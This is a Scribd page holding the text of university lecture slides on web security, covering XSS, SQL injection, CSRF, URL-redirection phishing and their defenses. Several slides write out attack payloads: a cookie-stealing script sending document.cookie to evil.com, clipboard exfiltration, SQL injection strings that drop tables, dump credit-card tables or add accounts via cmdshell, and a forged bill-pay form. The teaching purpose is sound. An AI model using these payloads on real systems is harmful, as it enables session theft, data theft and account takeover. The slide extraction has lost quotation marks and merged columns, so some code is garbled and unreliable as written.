Scribd
Upload
149 views

Web Security

This document provides an overview and introduction to the course CS 378 - Web Security taught by Vitaly Shmatikov. It discusses trends showing the majority of vulnerabilities are now found in web software. It describes how web applications work and are commonly designed. It outlines different threat models for web security including browser attacks, web application attacks, network attackers, and malware attackers. It explains concepts like cross-site scripting and how attackers can use it to steal cookies or inject scripts. It also introduces SQL injection vulnerabilities and how user input must be sanitized to prevent XSS attacks.

Uploaded by

Bùi Thị Kiều
Copyright
© Attribution Non-Commercial (BY-NC)
Available Formats
Download as PPT, PDF, TXT or read online on Scribd
149 views

Web Security

This document provides an overview and introduction to the course CS 378 - Web Security taught by Vitaly Shmatikov. It discusses trends showing the majority of vulnerabilities are now found in web software. It describes how web applications work and are commonly designed. It outlines different threat models for web security including browser attacks, web application attacks, network attackers, and malware attackers. It explains concepts like cross-site scripting and how attackers can use it to steal cookies or inject scripts. It also introduces SQL injection vulnerabilities and how user input must be sanitized to prevent XSS attacks.

Uploaded by

Bùi Thị Kiều
Copyright
© Attribution Non-Commercial (BY-NC)
Available Formats
Download as PPT, PDF, TXT or read online on Scribd
You are on page 1/ 60

CS 378

Web Security
Vitaly Shmatikov
(most slides from the Stanford Web security group)

slide 1

Vulnerability Stats: Web is Winning


Source: MITRE CVE trends

Majority of vulnerabilities now found in web software


25 20 15 10 5 0 2001 2002 2003 2004 2005 2006

Web (XSS)

Buffer Overflow
slide 2

Web Applications
Big trend: software as a (Web-based) service
Online banking, shopping, government, bill payment, tax prep, customer relationship management, etc. Cloud computing

Applications hosted on Web servers


Written in a mixture of PHP, Java, Perl, Python, C, ASP

Security is rarely the main concern


Poorly written scripts with inadequate input validation Sensitive data stored in world-readable files Recent push from Visa and Mastercard to improve security of data management (PCI standard)
slide 3

Typical Web Application Design


Runs on a Web server or application server Takes input from Web users (via Web server) Interacts with back-end databases and third parties Prepares and outputs results for users (via Web server)
Dynamically generated HTML pages Contain content from many different sources, often including regular users
Blogs, social networks, photo-sharing websites
slide 4

Browser and Network

request

Browser OS

website reply

Network

Hardware

slide 5

Two Sides of Web Security


Web browser
Can be attacked by any website it visits Attacks lead to malware installation (keyloggers, botnets), document theft, loss of private data

Web application
Runs at website
Banks, online merchants, blogs, Google Apps, many others

Written in PHP, ASP, JSP, Ruby, Many potential bugs: XSS, SQL injection, XSRF Attacks lead to stolen credit cards, defaced sites, mayhem
slide 6

Web Attacker
Controls malicious website
Can even obtain SSL/TLS certificate for his site

User visits attacker wesite


Phishing email, enticing content, search results, placed by ad network, blind luck

Attacker has no other access to user machine! Variation: gadget attacker


Bad gadget included in otherwise honest mashup (EvilMaps.com)

slide 7

Other Web Threat Models


Network attacker
Passive: wireless eavesdropper Active: evil router, DNS poisoning

Malware attacker
Attacker controls users machine how? Exploit application bugs (e.g., buffer overflow) Convince user to install malicious content how?
Masquerade as an antivirus program, codec for a new video format, etc. Well see many examples of this

slide 8

OS vs. Browser Analogies


Operating system
Primitives
System calls Processes Disk

Web browser
Primitives
Document object model Frames Cookies / local Storage

Principals: Users
Discretionary access control

Principals: Origins
Mandatory access control

Vulnerabilities
Buffer overflow Root exploit

Vulnerabilities
Cross-site scripting Universal scripting
slide 9

Browser: Basic Execution Model


Each browser window or frame
Loads content Renders
Processes HTML and scripts to display the page May involve images, subframes, etc.

Responds to events

Events
User actions: OnClick, OnMouseover Rendering: OnLoad Timing: setTimeout(), clearTimeout()
slide 10

HTML and Scripts


Browser receives content, <html> displays HTML and executes scripts <p> The script on this page adds two numbers <script> var num1, num2, sum num1 = prompt("Enter first number") num2 = prompt("Enter second number") sum = parseInt(num1) + parseInt(num2) alert("Sum = " + sum) </script> </html>
slide 11

slide 12

Event-Driven Script Execution


Script defines a <script type="text/javascript"> page-specific function function whichButton(event) { if (event.button==1) { alert("You clicked the left mouse button!") } else { alert("You clicked the right mouse button!") }} Function gets executed </script> when some event happens <body onmousedown="whichButton(event)"> Other events: </body> onLoad, onMouseMove, onKeyPress, onUnLoad
slide 13

slide 14

JavaScript
Language executed by browser
Scripts are embedded in Web pages Can run before HTML is loaded, before page is viewed, while it is being viewed or when leaving the page

Used to implement active web pages


AJAX, huge number of Web-based applications

Many security and correctness issues


Attacker gets to execute some code on users machine Often used to exploit other vulnerabilities

The worlds most misunderstood prog. language


slide 15

Common Uses of JavaScript


Form validation Page embellishments and special effects Navigation systems Basic math calculations Dynamic content manipulation Hundreds of applications
Dashboard widgets in Mac OS X, Google Maps, Philips universal remotes, Writely word processor

slide 16

JavaScript in Web Pages


Embedded in HTML page as <script> element
JavaScript written directly inside <script> element
<script> alert("Hello World!") </script>

Linked file as src attribute of the <script> element


<script type="text/JavaScript" src=functions.js"></script>

Event handler attribute


<a href="http://www.yahoo.com" onmouseover="alert('hi');">

Pseudo-URL referenced by a link


<a href=JavaScript: alert(You clicked);>Click me</a>

slide 17

JavaScript Security Model


Script runs in a sandbox
No direct file access, restricted network access

Same-origin policy
Can only read properties of documents and windows from the same server, protocol, and port If the same server hosts unrelated sites, scripts from one site can access document properties on the other

User can grant privileges to signed scripts


UniversalBrowserRead/Write, UniversalFileRead, UniversalSendMail
slide 18

Stealing Clipboard Contents


Create hidden form, enter clipboard contents, post form
<FORM name="hf" METHOD=POST ACTION= "http://www.site.com/targetpage.php" style="display:none"> <INPUT TYPE="text" NAME="topicID"> <INPUT TYPE="submit"> </FORM> <script language="javascript"> var content = clipboardData.getData("Text"); document.forms["hf"].elements["topicID"].value = content; document.forms["hf"].submit(); </script>
slide 19

Image Tag Security Issues


Communicate with other sites
<img src=http://evil.com/pass-localinformation.jpg?extra_information>

Hide resulting image


<img src= height=1" width=1">

Spoof other sites


Add logos that fool a user Very important point: a web page can send information to any site!
slide 20

Cross-Site Scripting: Basic Idea


Attack server 1 2 5 User victim

Server victim

slide 21

XSS: Cross-Site Scripting


evil.com
E.g., URL embedded in HTML email

victims browser

naive.com
hello.cgi
GET/ hello.cgi?name= <script>win.open(http:// evil.com/steal.cgi?cookie+ document.cookie)</script>
<HTML>Hello, dear <script>win.open(http:// evil.com/steal.cgi?cookie= +document.cookie)</script> Welcome!</HTML> Interpreted as Javascript by victims browser; opens window and calls steal.cgi on evil.com
slide 22

Access some web page <FRAME SRC= http://naive.com/hello.cgi? name=<script>win.open( http://evil.com/steal.cgi? cookie=+document.cookie) </script>> Forces victims browser to call hello.cgi on naive.com with this script as name GET/ steal.cgi?cookie=

hello.cgi executed

So What?
Why would user click on such a link?
Phishing email in webmail client (e.g., Gmail) Link in DoubleClick banner ad many many ways to fool user into clicking

So what if evil.com gets cookie for naive.com?


Cookie can include session authenticator for naive.com
Or other data intended only for naive.com

Violates the intent of the same-origin policy

slide 23

Other XSS Risks


XSS is a form of reflection attack
User is tricked into visiting a badly written website A bug in website code causes it to display and the users browser to execute an arbitrary attack script

Can change contents of the affected website by manipulating DOM components


Show bogus information, request sensitive data Control form fields on this page and linked pages
For example, MySpace.com phishing attack injects password field that sends password to bad guy

Can cause users browser to attack other websites


slide 24

Where Malicious Scripts Lurk


Hidden in user-created content
Social sites (e.g., MySpace), blogs, forums, wikis

When visitor loads the page, webserver displays the content and visitors browser executes script
Many sites try to filter out scripts from user content, but this is difficult (example: samy worm)

Another reflection trick


Some websites parse input from URL

Attack code does not appear in HTML sent over network

http://cnn.com/login?URI=>><script>AttackScript</script>

Use phishing email to drive users to this URL Similar: malicious DOM (client parses bad URL)
slide 25

Other Sources of Malicious Scripts


Scripts embedded in webpages
Same-origin policy doesnt prohibit embedding of third-party scripts Ad servers, mashups, etc.

Bookmarklets
Bookmarked JavaScript URL javascript:alert(Welcome to paradise!) Runs in the context of current loaded page

slide 26

Preventing Cross-Site Scripting


Preventing injection of scripts into HTML is hard!
Blocking < and > is not enough Event handlers, stylesheets, encoded inputs (%3C), etc. phpBB allowed simple HTML tags like <b>
<b c=> onmouseover=script x=<b >Hello<b>

Any user input must be preprocessed before it is used inside HTML


In PHP, htmlspecialchars(string) will replace all special characters with their HTML codes
becomes &#039; becomes &quot; & becomes &amp;

In ASP.NET, Server.HtmlEncode(string)
slide 27

SQL
Widely used database query language Fetch a set of records
SELECT * FROM Person WHERE Username=Vitaly

Add data to the table


INSERT INTO Key (Username, Key) VALUES (Vitaly, 3611BBFF)

Modify data
UPDATE Keys SET Key=FA33452D WHERE PersonID=5

Query syntax (mostly) independent of vendor

slide 28

Sample Code from Project 1


Sample PHP $selecteduser = $_GET['user']; $sql = "SELECT Username, Key FROM Key " . "WHERE Username='$selecteduser'"; $rs = $db->executeQuery($sql); What if user is a malicious string that changes the meaning of the query?

slide 29

SQL Injection: Basic Idea


Victim server Attacker 1 2

3 receive valuable data

unintended query

This is an input validation vulnerability


Unsanitized user input in SQL query to backend database changes the meaning of query

Specific case of more general command injection

Victim SQL DB
slide 30

Typical Login Prompt

slide 31

User Input Becomes Part of Query


Enter Username & Password SELECT passwd FROM USERS WHERE uname IS $user

Web browser (Client)

Web server

DB

slide 32

Normal Login
Enter Username & Password SELECT passwd FROM USERS WHERE uname IS smith

Web browser (Client)

Web server

DB

slide 33

Malicious User Input

slide 34

SQL Injection Attack


Enter Username & Password

Web browser (Client)

Web server

SELECT passwd FROM USERS WHERE uname IS ; DROP TABLE USERS; -- `

DB

Eliminates all user accounts

slide 35

Exploits of a Mom
http://xkcd.com/327/

slide 36

Using SQL Injection to Steal Data


User gives username OR 1=1 -Web server executes query set UserFound=execute( SELECT * FROM UserTable WHERE username= OR 1=1 -- );
Always true! Everything after -- is ignored!

Now all records match the query

This returns the entire database!

slide 37

Another SQL Injection Example


[From The Art of Intrusion]

To authenticate logins, server runs this SQL command against the user database: SELECT * WHERE user=name AND pwd=passwd User enters OR WHERE pwd LIKE `% as both name and passwd Wildcard matches any password Server executes SELECT * WHERE user= OR WHERE pwd LIKE `% AND pwd= OR WHERE pwd LIKE `% Logs in with the credentials of the first person in the database (typically, administrator!)
slide 38

It Gets Better
User gives username
exec cmdshell net user badguy badpwd / ADD --

Web server executes query set UserFound=execute( SELECT * FROM UserTable WHERE username= exec -- ); Creates an account for badguy on DB server

slide 39

Pull Data From Other Databases


User gives username AND 1=0 UNION SELECT cardholder, number, exp_month, exp_year FROM creditcards Results of two queries are combined Empty table from the first query is displayed together with the entire contents of the credit card database

slide 40

More Attacks
Create new users ; INSERT INTO USERS (uname,passwd,salt) VALUES (hacker,38a74f, 3234); Password reset ; UPDATE USERS SET [email protected] WHERE [email protected]

slide 41

Uninitialized Inputs
Creates a password with 8 /* php-files/lostpassword.php */ random characters, assuming $new_pass is set to NULL for ($i=0; $i<=7; $i++) $new_pass .= chr(rand(97,122)) $result = dbquery(UPDATE .$db_prefix.users SET user_password=md5($new_pass) WHERE user_id=.$data[user_id]. ); SQL query setting password in the DB

In normal execution, this becomes UPDATE users SET user_password=md5(????????) WHERE user_id=userid

slide 42

Exploit
User appends this to the URL: &new_pass=badPwd%27%29%2c user_level=%27103%27%2cuser_aim=%28%27
This sets $new_pass to badPwd), user_level=103, user_aim=(

SQL query becomes UPDATE users SET user_password=md5(badPwd) user_level=103, user_aim=(????????) WHERE user_id=userid Users password is
with superuser privileges set to badPwd

slide 43

Second-Order SQL Injection


Second-order SQL injection: data stored in database is later used to conduct SQL injection For example, user manages to set uname to admin' - This vulnerability could exist if string escaping is applied inconsistently (e.g., strings not escaped) UPDATE USERS SET passwd='cracked' WHERE uname='admin' why does this work?

Solution: treat all parameters as dangerous

slide 44

CardSystems Attack (June 2005)


CardSystems was a major credit card processing company Put out of business by a SQL injection attack
Credit card numbers stored unencrypted Data on 263,000 accounts stolen 43 million identities exposed

slide 45

Attack on Microsoft IIS (April 2008)

slide 46

Preventing SQL Injection


Input validation
Filter
Apostrophes, semicolons, percent symbols, hyphens, underscores, Any character that has special meanings

Check the data type (e.g., make sure its an integer)

Whitelisting
Blacklisting bad characters doesnt work
Forget to filter out some characters Could prevent valid input (e.g., last name OBrien)

Allow only well-defined set of safe values


Set implicitly defined through regular expressions
slide 47

Escaping Quotes
For valid string inputs use escape characters to prevent the quote becoming part of the query
Example: escape(oconnor) = oconnor Convert into \ Only works for string inputs Different databases have different rules for escaping

slide 48

Mitigating Impact of Attack


Prevent leakage of database schema and other information Limit privileges (defense in depth) Encrypt sensitive data stored in database Harden DB server and host OS Apply input validation

slide 49

URL Redirection
EZShopper.com shopping cart (Oct 2004) http:///cgi-bin/ loadpage.cgi?page=url
Redirects browser to url Commonly used for tracking user clicks; referrals

Phishing website puts http://victim.com/ cgi-bin/loadpage.cgi?page=phish.com Everything looks Ok (the link is indeed pointing to victim.com), but user ends up on phishing site!
slide 50

Sample Phishing Email

slide 51

Spoofing via URL Redirection


Link displayed
https://www.start.earthlink.net/track?billing.asp

Actual link in html email


source:https://start.earthlink.net/track?id=101fe84398 a866372f999c983d8973e77438a993847183bca43d7ad4 7e99219a907871c773400b8328898787762c&url=http:/ /202.69.39.30/snkee/billing.htm?session_id=8495...

Website resolved to
http://202.69.39.30/snkee/billing.htm?session_id=8495 ...
slide 52

XSRF: Cross-Site Request Forgery


Same browser runs a script from a good site and a malicious script from a bad site
How could this happen? Requests to good site are authenticated by cookies

Malicious script can make forged requests to good site with users cookie
Netflix: change acct settings, Gmail: steal contacts Potential for much bigger damage (think banking)

slide 53

XSRF (aka CSRF): Basic Idea


Server victim 1 4 2

User victim
Attack server

Q: how long do you stay logged on to Gmail?


slide 54

Cookie Authentication: Not Enough!


Users logs into bank.com, forgets to sign off
Session cookie remains in browser state

User then visits a malicious website containing


<form name=BillPayForm action=http://bank.com/BillPay.php> <input name=recipient value=badguy> <script> document.BillPayForm.submit(); </script>

Browser sends cookie, payment request fulfilled! Lesson: cookie authentication is not sufficient when side effects can happen
slide 55

XSRF in More Detail

slide 56

Login XSRF

slide 57

XSRF vs. XSS


Cross-site scripting
User trusts a badly implemented website Attacker injects a script into the trusted website Users browser executes attackers script

Cross-site request forgery


A badly implemented website trusts the user Attacker tricks users browser into issuing requests Website executes attackers requests

slide 58

XSRF Defenses
Secret validation token
<input type=hidden value=23a3af01b>

Referer validation
Referer: http://www.facebook.com/home.php

Custom HTTP header


X-Requested-By: XMLHttpRequest
slide 59

Summary of Web Attacks


SQL injection
Bad input checking allows malicious SQL query Known defenses address problem effectively

XSS (CSS) cross-site scripting


Problem stems from echoing untrusted input Difficult to prevent: requires care, testing, tools,

XSRF (CSRF) cross-site request forgery


Forged request leveraging ongoing session Can be prevented (if XSS problems fixed)

slide 60

You might also like